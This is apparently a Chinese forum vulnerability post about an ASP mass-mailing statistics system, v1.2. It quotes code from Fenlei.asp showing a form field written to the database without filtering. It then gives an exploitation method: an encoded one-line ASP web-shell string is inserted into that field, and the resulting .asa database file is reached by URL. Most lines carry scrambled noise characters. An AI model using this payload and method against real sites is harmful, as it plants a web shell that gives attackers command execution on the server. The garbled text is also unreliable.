铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

$ ?" x, w# s9 ?7 p6 E2 ?, cIF Request.QueryString("Action")="del" Then
& G/ Q9 W0 ?# wID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
( |( Q' C; I: b, b& G" ['略
# c5 Z* B( N7 s9 I5 l7 rIF Request.QueryString("Action")="Add" Then
- w4 H- x; h; q; s* wTname=Request.Form("Typename")
; D% s. i. E/ n# i* v; L1 b! qSet Rs=Server.CreateObject("adodb.Recordset")
' i' f6 m7 T# A9 L/ t1 X- d, D7 RSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
! i; Q8 ^8 [: x, s! @/ y- q0 ]- ]+ wRs.Addnew
; L- v" Z+ p& p0 }/ t+ p1 R" V, vRs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
, i# ]0 B  E' u'略
%>

$ L3 i3 l! `. c0 q* E6 j

, Q! g+ c  N# _& L没有过滤，直接写入数据库。
1 v; t& u! b, @4 n4 e2 y, I( Q& k1 p
3 o! ~3 e; X: \* g# m8 v利用方法：
8 q9 R9 \* a+ V3 o7 }' [0 f
插入：┼攠數畣整爠煥敵瑳∨≡┩>
4 }) \  ^4 L9 \2 U& ^  ]4 Q) p

, N; N6 I5 g* Q3 E连接： http://www.xxx.com/###tongbaner.asa
7 D. i& u/ I. q" S# _0 E  M'默认安装文件：
'install.asp
0 {8 p# D" r5 X# X1 O1 R7 D. `